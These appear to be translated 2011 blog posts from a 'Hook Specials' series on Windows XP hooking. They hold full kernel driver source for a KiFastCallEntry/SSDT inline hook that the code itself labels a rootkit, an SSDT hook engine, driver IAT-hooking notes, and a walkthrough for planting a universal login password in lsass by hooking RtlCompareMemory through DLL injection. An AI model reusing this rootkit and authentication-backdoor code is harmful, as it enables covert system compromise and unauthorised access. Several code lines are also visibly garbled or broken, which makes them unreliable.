Call nt.dll is through Syenter to swith to kernel in xp, Sysenter call KiFastCallEntry, Howerver address of KiFastCallEntry is found on ssdt table , Then call, So only forge a original ssdt table and cheat KiFastCallEntry, Like this is invalid.

First watch KiFastCallEntry:
code:
nt!KiFastCallEntry:
80541790 b923000000 mov ecx,23h
80541795 6a30 push 30h
80541797 0fa1 pop fs
80541799 8ed9 mov ds,cx
8054179b 8ec1 mov es,cx
8054179d 648b0d40000000 mov ecx,dword ptr fs:[40h]
805417a4 8b6104 mov esp,dword ptr [ecx+4]
805417a7 6a23 push 23h
805417a9 52 push edx
805417aa 9c pushfd
805417ab 6a02 push 2
805417ad 83c208 add edx,8
805417b0 9d popfd
805417b1 804c240102 or byte ptr [esp+1],2
805417b6 6a1b push 1Bh
805417b8 ff350403dfff push dword ptr ds:[0FFDF0304h]
805417be 6a00 push 0
805417c0 55 push ebp
805417c1 53 push ebx
805417c2 56 push esi
805417c3 57 push edi
//ebx=_KPCR.SelfPcr
805417c4 648b1d1c000000 mov ebx,dword ptr fs:[1Ch]
805417cb 6a3b push 3Bh
//esi=_KPCR.PrcbData.CurrentThread
805417cd 8bb324010000 mov esi,dword ptr [ebx+124h]
805417d3 ff33 push dword ptr [ebx]
805417d5 c703ffffffff mov dword ptr [ebx],0FFFFFFFFh
805417db 8b6e18 mov ebp,dword ptr [esi+18h]
805417de 6a01 push 1
805417e0 83ec48 sub esp,48h
805417e3 81ed9c020000 sub ebp,29Ch
805417e9 c6864001000001 mov byte ptr [esi+140h],1
805417f0 3bec cmp ebp,esp
805417f2 758d jne nt!KiFastCallEntry2+0x49 (80541781)
805417f4 83652c00 and dword ptr [ebp+2Ch],0
805417f8 f6462cff test byte ptr [esi+2Ch],0FFh
805417fc 89ae34010000 mov dword ptr [esi+134h],ebp
80541802 0f8538feffff jne nt!Dr_FastCallDrSave (80541640)
80541808 8b5d60 mov ebx,dword ptr [ebp+60h]
8054180b 8b7d68 mov edi,dword ptr [ebp+68h]
8054180e 89550c mov dword ptr [ebp+0Ch],edx
80541811 c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h
80541818 895d00 mov dword ptr [ebp],ebx
8054181b 897d04 mov dword ptr [ebp+4],edi
8054181e fb sti
//eax is sequence number of function, But it is sequence number of function +1000h on KeServiceDescriptorTableShadow
//So result is 10h by under operation , otherwise is 0
8054181f 8bf8 mov edi,eax
80541821 c1ef08 shr edi,8
80541824 83e730 and edi,30h
80541827 8bcf mov ecx,edi
//When KTHREAD.ServiceTable gdi32.dll and user32.dll is called,
//ServiceTable amount to KeServiceDescriptorTableShadow,
//When ntdll.dll is called , ServiceTable is equivalent to KeServiceDescriptorTable
//When KeServiceDescriptorTableShadow , win32.sys is getted on add 10
80541829 03bee0000000 add edi,dword ptr [esi+0E0h]
8054182f 8bd8 mov ebx,eax
//Keep three bytes, Get real sequence number
80541831 25ff0f0000 and eax,0FFFh
//Compare with ssdt or shadow ssdt number of terms, if eax is greater than to jump
80541836 3b4708 cmp eax,dword ptr [edi+8]
80541839 0f8333fdffff jae nt!KiBBTUnexpectedRange (80541572)
//Whether the judgement is shadow ssdt or ssdt, it is shadow ssdt not to jump, it is ssdt to jump
8054183f 83f910 cmp ecx,10h
80541842 751b jne nt!KiFastCallEntry+0xcf (8054185f)
80541844 648b0d18000000 mov ecx,dword ptr fs:[18h]
8054184b 33db xor ebx,ebx
8054184d 0b99700f0000 or ebx,dword ptr [ecx+0F70h]
80541853 740a je nt!KiFastCallEntry+0xcf (8054185f)
80541855 52 push edx
80541856 50 push eax
80541857 ff1528c75580 call dword ptr [nt!KeGdiFlushUserBatch (8055c728)]
8054185d 58 pop eax
8054185e 5a pop edx
8054185f 64ff0538060000 inc dword ptr fs:[638h]
80541866 8bf2 mov esi,edx
80541868 8b5f0c mov ebx,dword ptr [edi+0Ch]
8054186b 33c9 xor ecx,ecx
8054186d 8a0c18 mov cl,byte ptr [eax+ebx]
//edi=KeServiceDescriptorTable->ServiceTableBase
//To do Patch on here, Let's edi point tectonic ssdt
80541870 8b3f mov edi,dword ptr [edi]
//Get real address, edi = KiServiceTable, eax = sequence number of function
80541872 8b1c87 mov ebx,dword ptr [edi+eax*4]
80541875 2be1 sub esp,ecx
80541878 c1e902 shr ecx,2
8054187a 8bfc mov edi,esp
8054187c 3b3574f73ff4 cmp esi,dword ptr ds:[0F43FF774h]
80541882 0f83a8010000 jae nt!KiSystemCallExit2+0x9f (80541a30)
//Parameter copy to kerner
80541888 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
//Call function
8054188a ffd3 call ebx
8054188c 8be5 mov esp,ebp
8054188e 648b0d24010000 mov ecx,dword ptr fs:[124h]
80541895 8b553c mov edx,dword ptr [ebp+3Ch]
80541898 899134010000 mov dword ptr [ecx+134h],edx

KiFastCallEntry get ETHREAD of current thread by _KPCR of fs register, then Get ServiceTable with ETHREAD. It is main SDT or shadow ssdt , keep 24 bit on shadow ssdt for get sequence number of function, Then function address is getted by main sdt or shadow ssdt and sequence number of function , The function is called finally.

code:
80541868 8b5f0c mov ebx,dword ptr [edi+0Ch]
8054186b 33c9 xor ecx,ecx
8054186d 8a0c18 mov cl,byte ptr [eax+ebx]
//edi=KeServiceDescriptorTable->ServiceTableBase
//Edi poiont tectonic ssdt through patch on there.
80541870 8b3f mov edi,dword ptr [edi

There is inline hook

Full code:
#include

#define SEC_IMAGE 0x01000000
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;


DWORD *oldssdt;
DWORD patchAddress;
DWORD nowSsdt;
PVOID lpRet;

//Get model base address on systerm kernel
DWORD FoundSystemModule(BOOL bKernel,char *sysFileName)
{
DWORD dwNeededSize,rc;
PMODULES pModules=(PMODULES)&pModules;
PCHAR pKernelName;
DWORD kernelBase;
DWORD i;

rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
if (rc==STATUS_INFO_LENGTH_MISMATCH)
{
pModules=(MODULES *)ExAllocatePool(PagedPool,dwNeededSize);
rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
if (!NT_SUCCESS(rc))
{
DbgPrint("ZwQuerySystemInformation failed");
return 0;
}
}
else
{
DbgPrint("ZwQuerySystemInformation failed");
return 0;

}

if(bKernel)
{
pKernelName=pModules->smi[0].ModuleNameOffset+pModules->smi[0].ImageName;
strcpy(sysFileName,pKernelName);
kernelBase=(DWORD)pModules->smi[0].Base;
return kernelBase;
}
for (i=0;(pModules->dwNumberOfModules)>i;i++)
{
pKernelName=pModules->smi[i].ModuleNameOffset+pModules->smi[i].ImageName;
if(_stricmp(pKernelName,sysFileName)==0)
{
kernelBase=(DWORD)pModules->smi[i].Base;
return kernelBase;
}
}

return 0;
}


//Get and save original ssdt
BOOL SaveOldSddt(PVOID hModule,DWORD dwKSDT,DWORD dwKernelBase)
{

PDWORD pService;
DWORD dwKiServiceTable;

IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwPointer;
DWORD point;
BOOL bFirstChunk=TRUE;
DWORD i;
dosHeader=(IMAGE_DOS_HEADER*)hModule;



ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew);

pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule);
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
while(bFirstChunk||pbr->VirtualAddress)
{
bFirstChunk=FALSE;

for (i=0;((pbr->SizeOfBlock-8)/2)>i;i++)
{
if(pfe->type==IMAGE_REL_BASED_HIGHLOW)
{
dwPointer=pbr->VirtualAddress+pfe->offset;

point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase;
if(point==dwKSDT)
{

if(*(USHORT*)(dwPointer+(DWORD)hModule-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase;
i=0;
for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable);
*pService-ntHeader->OptionalHeader.ImageBaseOptionalHeader.ImageBase;
pService++,i++)
{
oldssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase+dwKernelBase;

}

}



}
}
pfe++;

}
pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock);
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

}

return TRUE;
}

//Calculate mov [rem],rem的[rem]
DWORD GetFlag(PVOID lpBase)
{
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
IMAGE_EXPORT_DIRECTORY* exportTable;
DWORD* pfunctionAddresses;
DWORD* pfunctionNames;
WORD* pfunctionOrdinals;
DWORD functionOrdinal;
DWORD Base, i, functionAddress;
DWORD dwKSDT;
char* functionName;

dosHeader=(IMAGE_DOS_HEADER*)lpBase;
ntHeader=(IMAGE_NT_HEADERS*)((DWORD)lpBase+dosHeader->e_lfanew);
exportTable=(IMAGE_EXPORT_DIRECTORY*)((DWORD)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

pfunctionAddresses=(DWORD*)((DWORD)lpBase+exportTable->AddressOfFunctions);
pfunctionNames=(DWORD*)((DWORD)lpBase+exportTable->AddressOfNames);
pfunctionOrdinals=(WORD*)((DWORD)lpBase+exportTable->AddressOfNameOrdinals);
Base=exportTable->Base;
for(i=0;iNumberOfFunctions;i++)
{
functionName=(char*)((DWORD)lpBase+pfunctionNames[i]);
functionOrdinal=pfunctionOrdinals[i]+Base-1;
functionAddress = (DWORD)( (DWORD)lpBase + pfunctionAddresses[functionOrdinal]);
if(_stricmp(functionName,"KeServiceDescriptorTable")==0)
{
dwKSDT=functionAddress-(DWORD)lpBase;
return dwKSDT;
}

}
return 0;

}


//Maping file entry memory and get and save ssdt
BOOL GetOldSsdt(PUNICODE_STRING kernelFileName,DWORD kernelBase)
{
NTSTATUS status;
HANDLE hSection, hFile;
DWORD dwKSDT;
PVOID BaseAddress = NULL;
SIZE_T size=0;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa = {sizeof oa, 0, kernelFileName, OBJ_CASE_INSENSITIVE};
status=ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
if(!NT_SUCCESS(status))
{
DbgPrint("ZwOpenFile failed\n");
return FALSE;
}
oa.ObjectName = 0;

status=ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
if(!NT_SUCCESS(status))
{
DbgPrint("ZwCreateSection failed\n");
return FALSE;
}

status=ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
if(!NT_SUCCESS(status))
{
DbgPrint("ZwMapViewOfSection failed\n");
return FALSE;
}
ZwClose(hFile);
dwKSDT=GetFlag(BaseAddress);
if(dwKSDT==0)
{
DbgPrint("GetFlag failed\n");
return FALSE;
}
DbgPrint("dwKSDT:%x\n",dwKSDT);
if(!SaveOldSddt(BaseAddress,dwKSDT,kernelBase))
{
DbgPrint("GetOldSddt failed\n");
return FALSE;
}

ZwClose(hSection);
return TRUE;
}

//Tectonic new Ssdt
BOOL SetNewSsdt()
{
UNICODE_STRING kernelFileName;
char systemFile[80];
DWORD kernelBase;
int count;

kernelBase=FoundSystemModule(TRUE,systemFile);
if(kernelBase==0)
{
DbgPrint("get kernel base failed\n");
return FALSE;
}
if(_stricmp(systemFile,"ntkrnlpa.exe")==0)
{
RtlInitUnicodeString(&kernelFileName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");
}
else if(_stricmp(systemFile,"ntoskrnl.exe")==0)
{
RtlInitUnicodeString(&kernelFileName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntoskrnl.exe");

}
else
{
return FALSE;
}
count=KeServiceDescriptorTable->NumberOfServices;
nowSsdt=(DWORD)KeServiceDescriptorTable->ServiceTableBase;
oldssdt=(DWORD*)ExAllocatePool(NonPagedPool,count*4);
if(oldssdt==NULL)
{
DbgPrint("allocate memory failed\n");
return FALSE;
}
KdPrint(("oldssdt:%X\n",oldssdt));

if(!GetOldSsdt(&kernelFileName,kernelBase))
{
DbgPrint("save ssdt failed\n");
return FALSE;
}
return TRUE;


}


__declspec(naked)void UseOldSsdt()
{
_asm
{
pushfd ;
pushad ;
mov eax,nowSsdt;
cmp eax,[edi];
jnz shadow;//Whether is shadow ssdt
popad;
popfd;
mov cl,byte ptr [eax+ebx];
mov edi,oldssdt;
jmp [lpRet];
shadow:
popad;
popfd;
mov cl,byte ptr [eax+ebx];
mov edi,dword ptr [edi];
jmp [lpRet];

}


};




BOOL HookKiFastCallEntry(BOOL bHook)
{
BYTE jmpCode[5]={0xe9,0x00,0x00,0x00,0x00};
BYTE oldCode[5]={0x8a,0x0c,0x18,0x8b,0x3f};
BYTE *functionAddress;
int i;
if(bHook)
{
_asm
{
pushad;
mov ecx, 0x176;
rdmsr;
mov functionAddress, eax;
popad;
}
for(i=0;i<264;i++)
{
if(memcmp(&functionAddress[i],oldCode,5)==0)
{
patchAddress=(DWORD)&functionAddress[i];
KdPrint(("patch address:%X\n",patchAddress));
break;
}
}
if(i==264)
return FALSE;
*(DWORD*)&jmpCode[1]=(DWORD)UseOldSsdt-(patchAddress+5);
lpRet=(PVOID)(patchAddress+5);
_asm
{
CLI ;
MOV EAX, CR0 ;
AND EAX, NOT 10000H ;
MOV CR0, EAX;
}
memcpy((PVOID)patchAddress,jmpCode,5);
_asm
{
MOV EAX, CR0;
OR EAX, 10000H;
MOV CR0, EAX ;
STI;
}

}
else
{
_asm
{
CLI ;
MOV EAX, CR0 ;
AND EAX, NOT 10000H ;
MOV CR0, EAX;
}
memcpy((PVOID)patchAddress,oldCode,5);
_asm
{
MOV EAX, CR0;
OR EAX, 10000H;
MOV CR0, EAX ;
STI;
}

}
return TRUE;




}


VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
HookKiFastCallEntry(FALSE);
DbgPrint("ROOTKIT: OnUnload called\n");
}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
if(SetNewSsdt())
{
HookKiFastCallEntry(TRUE);

}


return STATUS_SUCCESS;
}

If want to anti shadow ssdt hook, Only hook KiFastCallEntry and KiSystemService at the same time.

Wednesday, August 24, 2011

Hook Specials 17 : Create oneself hook engine one out of a multitude --- SSDT Engine

Author:easystone
SSDT HOOK already is question by a platitude, There is not introduction. The basice idea of hook engine is about package hook, Becasue don't modify if, User only write routine of hook by oneself .

Because I first write these , The code is simple.
Example NtOpenProcess is hooked as MyNtOpenProcess by user, Only call HookService((ULONG)ZwOpenProcess, (ULONG)MyNtOpenProcess) in DriverEntry.
Then write oneself hook function, the interface is simple and realize.

For example:
// Unload routine , Unload hook
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
KdPrint(("Unload Routine.\n"));
UnHookService((ULONG)ZwSetInformationFile);
UnHookService((ULONG)ZwOpenProcess);
}

// DriverEntry routine, initalize and install hook
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = Unload;
InitServicesTable();
HookService((ULONG)ZwSetInformationFile, (ULONG)MyZwSetInformationFile);
HookService((ULONG)ZwOpenProcess, (ULONG)MyNtOpenProcess);

return STATUS_SUCCESS;
}

Then only notice own function, as follow two example , First hook ZwSetInformationFile to protect test.txt can't to delete. Second example hook NtOpenProcess to PID of process is greater than 100.

Code:
// Define hook's fanction prototype
typedef
NTSTATUS
(__stdcall *ZWSETINFORMATIONFILE)(IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass);
typedef
NTSTATUS
(__stdcall *NTOPENPROCESS)( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId);


NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId);

// ==============================================================
// User defined hook routine
NTSTATUS MyZwSetInformationFile(IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass)
{
PFILE_OBJECT pFileObject;

// 在OldServiceAddressTable中取出原服务函数地址
ZWSETINFORMATIONFILE OldZwSetInformationFile =
(ZWSETINFORMATIONFILE)OldServiceAddressTable[SERVICE_ID(ZwSetInformationFile)];

NTSTATUS ret = ObReferenceObjectByHandle(FileHandle,
GENERIC_READ,
*IoFileObjectType,
KernelMode,
(PVOID*)&pFileObject,
0);
if(NT_SUCCESS(ret))
{
KdPrint(("%S opened.\n", pFileObject->FileName.Buffer));
if (wcsstr(pFileObject->FileName.Buffer, L"test.txt"))
{
KdPrint(("test.txt opened. Deny it.\n"));
return STATUS_ACCESS_DENIED;
}
}
ObDereferenceObject(pFileObject);
// Call original service function
return OldZwSetInformationFile( FileHandle, IoStatusBlock, FileInformation,
Length, FileInformationClass);
}

NTSTATUS MyNtOpenProcess(OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId )
{
NTSTATUS rc;
ULONG PID;

KPROCESSOR_MODE PreMode;


NTOPENPROCESS OldNtOpenProcess =
(NTOPENPROCESS)OldServiceAddressTable[SERVICE_ID(ZwOpenProcess)];

PreMode = ExGetPreviousMode();
if(PreMode != KernelMode)
{
__try
{
ProbeForRead(ClientId, sizeof(CLIENT_ID), sizeof(ULONG));
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return GetExceptionCode();
}
}

if(ClientId != NULL)
{
PID = (ULONG)ClientId->UniqueProcess;
if(PID > 1000)
{
return STATUS_ACCESS_DENIED;
}
}
return OldNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}

Donwloand : The code

Tuesday, August 23, 2011

Hook Specials 16 : Realize universal password back door of windows with IAT HOOK

Author:clyfish
Have Windows universal password?

First, We have really whether it can achieve such a back doo.

Course of Windows login gave a brief introduction.

Winlogon is got user name and password with gina.dll, Process of lsass is passed with LPC, Then msv1_0.dll is confirmed and is called by lsass.
And that msv1_0 get user imformations from sam,Include hash of password.


Realize the back door,First find int the bottom of login's confirmation, Then there do some things.

Clearly, The bottom of function is on msv1_0.dll of lsass.

The function is:


code:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN

We debug lsass-process ,Then break on msv1_0!LsaApLogonUserEx2.
I use windbg and vmware, Dbgsrv is used on user debug.。
http://blogs.msdn.com/spatdsg/archiv...27/507265.aspx

code:
dbgsrv.exe -t tcp:port=1234,password=spat
Then run on debugging client


code:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
Then attach lsass process.
But there run dbgsrv after login, For that dbgsrv is closed, So when Starting up, Dbgsrv is ran with task scheduler of windows.

After wirtual machine run,Dbgsrv already run, Then windbg join and attach to lsass.
Break msv1_0!LsaApLogonUserEx2, go.
Then log in,really is breoke by windbg.

When the time, Use wt the comamand, It can log all to be called fuctions's relationship .
I write script of python to export wt to treectrl



People notice mouse :ntdll!RtlCompareMemory。

The function is "the bottom of function".

代码:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN


Source1 Get password's Unicode md4 hass from sam.
Source2 User input password's Unicode md4 hash.
Length already 16, Because md4 hash is 16 bytes.

Under the function is replace it:

code:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}

pRtlCompareMemory is gobal variable - real address of RtlCompareMemory, PASSWD_HASH is universal password hash.
Hook RtlCompareMemory use MyRtlCompareMemory to realize preconceted performance.

If compare 16 bytes and second memory is passed because alike our hash.

Hooke function to have many ways, I use simple way - IAT hook+dll inject.
As a result I write a small tool to inject dll:DllInject

code:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all

Monday, August 22, 2011

Hook Specials 15 : Study notes about Export table of driver is hooked

Author:Sysnap
The article is my notes and is pubilshed to study with rookies.Because I am rookie yet, Wrongs is showed and please corret to help me.

When API is called by my program,This like CreateWindowEx, Generate code on complied
call dword ptr
[__imp__CreateWindowExA@48],The address of API is save on__imp__CreateWindowExA@48 . When load and runing , __imp__CreateWindowExA@48 representing memory address, So if program is run, __imp__CreateWindowEx@48 is modified to us address,Program call CreateWindowEx, In fact call to jump our function, This is basic idea of IAT HOOK.
The article is about hook driver's iat, Please read iat of customer, had help to understand driver code, Because driver program is PE format as general exe program.
Under the code traverse export function onself, After that print it.

#include
#include
#include
#pragma comment(lib,"imagehlp.lib")

int main()
{

char *dll_name[30];
char* function_name[30];
HMODULE hInstance;
int outloop_index=0;

PIMAGE_THUNK_DATA thunk;
hInstance=GetModuleHandle(NULL);
IMAGE_DOS_HEADER *dosheader= (IMAGE_DOS_HEADER *)hInstance;
IMAGE_NT_HEADERS *ntheader= (IMAGE_NT_HEADERS *)((DWORD)hInstance + dosheader->e_lfanew);
IMAGE_DATA_DIRECTORY *pSymbolTable= &ntheader->OptionalHeader.DataDirectory[1];
IMAGE_IMPORT_DESCRIPTOR *pImportDesc =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)hInstance + pSymbolTable->VirtualAddress);

printf("the module is load at:%d\n",hInstance);
printf("the pointer to ImportDesc is: %d\n",pImportDesc);

while(pImportDesc ->FirstThunk)
{
dll_name[outloop_index]=(char*)((PBYTE)hInstance+pImportDesc->Name);
printf("------%s-------\n",dll_name[outloop_index]);
outloop_index++;

thunk=( PIMAGE_THUNK_DATA)((PBYTE)hInstance+ pImportDesc->OriginalFirstThunk);

int x=0;
while(thunk->u1.Function)
{
function_name[x]=(char*)((PBYTE)hInstance +
( DWORD)thunk->u1.AddressOfData+2);
printf("%s\n",function_name[x]);

x++;
thunk++;
}

pImportDesc++;
}

return 0 ;
}
OK, Get hInstance by hInstance=GetModuleHandle(NULL), hInstance represent base address of current program, If not have it, can't positioning to be called memory address of function ,

If We use HOOK C:\WINDOWS\SYSTEM32\test_sysnap.sys,test_sysnap.sys on driver,

The program is very simple , DPC is used to export string on time:
VOID Myroutine(IN PKDPC Dpc,IN PVOID DeferredContext,IN PVOID SystemArgument1,IN PVOID SystemArgument2)

{
HANDLE id=PsGetCurrentProcessId();

DbgPrint("the Current Process Id is:%x \n",id);

}
Test_sysnap.sys must be import PsGetCurrentProcessId, IAT HOOK the function, When System call Myrotine to execute PsGetCurrentProcessId, After that go to run on our program oneself.

hInstance is important, So IAT HOOK of driver, We must know to load to address of test_sysnap.sys. There use ZwQuerySystemInformation to get. The function isn't hooked,Ok first run test_sysnap.sys,The code last.
-----------------------------------------------------------------------------------------------------------------------
Driver program
#include "ntddk.h"
#include "hookiat.h"
#pragma comment(lib,"ntdll.lib")

PVOID GetDriverBaseAdress(char* driverName)
{
ULONG size,index;
PULONG buf;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;

ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);

if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
{
DbgPrint("failed alloc memory failed \n");
return 0;
}

status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status ))
{
DbgPrint("failed query\n");
return 0;
}

module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);

for (index = 0; index < *buf; index++)
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x\n",driverAddress);
}
ExFreePool(buf);
return driverAddress;
}


VOID Unload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unload Called \r\n");
}


NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{

PVOID base = NULL;
base = GetDriverBaseAdress("test_sysnap.sys.sys");
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}


Compile., Confirm real DbgPrint about address of test_sysnap.sys,/////ok,Our target seach call dword ptr
[__imp__PsGetCurrentProcessId@XX], Modify

First IAT is positioned and seach RAV of PsGetCurrentProcessId////, Last purpose is get (DWORD*)( (BYTE*)base + Thunk ) + RVA, modify ,Base is getted, then want to get Thunk and RVA,
First we use ZwOpenFile,ZwCreateSection,ZwMapViewOfSection etc functions to map test_sysnap.sys, The way is like user program to use CreateFile,CreateFileMapping,MapViewOfFile

PVOID CreateMapFileAndReturnBaseAddress(PUNICODE_STRING pDriverName)
{
HANDLE hFile;
//HANDLE hSection看需要在别的地方ZWclose(hSection),若不用.那定义成局部变量就可以了,或者做为数参数传递
char *pszModName;
PVOID MapFileBaseAddress = NULL;
SIZE_T size=0;
IO_STATUS_BLOCK stataus;
OBJECT_ATTRIBUTES oa ;

InitializeObjectAttributes(
&oa,
pDriverName,
OBJ_CASE_INSENSITIVE,
0,
0
);

ZwOpenFile(&hFile,
FILE_EXECUTE | SYNCHRONIZE,
&oa,
&stataus,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;

ZwCreateSection(&hSection,
SECTION_ALL_ACCESS,
&oa,
0,
PAGE_EXECUTE,
SEC_IMAGE,
hFile);
ZwMapViewOfSection(hSection,
PsGetCurrentProcessId(),
&MapFileBaseAddress,
0,
1024,
0,
&size,
ViewShare,
MEM_TOP_DOWN,
PAGE_READWRITE);
ZwClose(hFile);
DbgPrint("baseadress:%x\n",MapFileBaseAddress);
return MapFileBaseAddress;

}

Add function, DriverEntry add:
UNICODE_STRING driverName;
RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\drivers\\test_sysnap.sys");
BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);
DbgPrint("MapFile Return Address:%x",BaseAddress);
Compile , Not problem, GOOD, continue, hereto We get MapFileBaseAddress,Then Get ImageImportDescriptor by it.

DWORD GetImageImportDescriptorPointer(IN OUT HANDLE* hMod, IN OUT IMAGE_IMPORT_DESCRIPTOR** pImportDesc)
{

IMAGE_DOS_HEADER * dosheader;
IMAGE_OPTIONAL_HEADER * optheader;
PVOID BaseAddress = NULL;
UNICODE_STRING driverName;

RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\drivers\\test_sysnap.sys");
BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);
*hMod = BaseAddress;

dosheader= (IMAGE_DOS_HEADER *)BaseAddress;
optheader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)BaseAddress+dosheader->e_lfanew+24);
*pImportDesc = (IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)dosheader+ optheader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if( NULL == (*pImportDesc)) return 0;
else
return 1;
DbgPrint("DataEntryAddress:%x\n",pImportDesc);

}
Compile, Not problem, hereto we get
MapFileBaseAddress和ImageImportDescriptor, then its is used to seach Thunk and RVA

DWORD GetFunctionThunkAndRav(IN char* lpFunctionName, IN char* lpFunctionLibrary, OUT DWORD* pThunk, OUT DWORD* pRVA)
{

HANDLE hMod;
IMAGE_IMPORT_DESCRIPTOR * pImportDesc;
IMAGE_THUNK_DATA* thunk;
char *pszModName;
DWORD firstThunkList;
DWORD ret;
BOOLEAN isOrdinal;
BOOLEAN foundIt;

int x=0;
SIZE_T size=0;

ret=GetImageImportDescriptorPointer(&hMod,&pImportDesc);
if(ret==0)
{
DbgPrint("GetImageImportDescriptorPointer return NULL");
return 0;
}

//Ergodi IMPORT DIRECTORY TABLE,Seanch ntoskrnl.exe associated IMAGE_IMPORT_DESCRIPTOR
while (pImportDesc->FirstThunk)
{
pszModName = (PSTR) ((PBYTE) hMod + pImportDesc->Name);
if (_stricmp(pszModName, lpFunctionLibrary) == 0 )
{
foundIt = TRUE;
DbgPrint("name:%s\n",pszModName);
break;
}
pImportDesc++;
}

if(foundIt==FALSE)
{
return 0;
}



//Get IMAGE_IMPORT_DESCRIPTOR of ntoskrnl.exe to get IAT, Can find export function on IAT

thunk = (IMAGE_THUNK_DATA*)( (BYTE*)hMod + pImportDesc->OriginalFirstThunk);
firstThunkList = (DWORD)((PBYTE)hMod + pImportDesc->FirstThunk);
foundIt = FALSE;
while(thunk->u1.Function)
{

isOrdinal = 0;
//IMAGE_THUNK_DATA is DWORD in fact, Either is Ordinal, or AddressOfData
if(thunk->u1.Function >= 0x01000000) isOrdinal = TRUE;
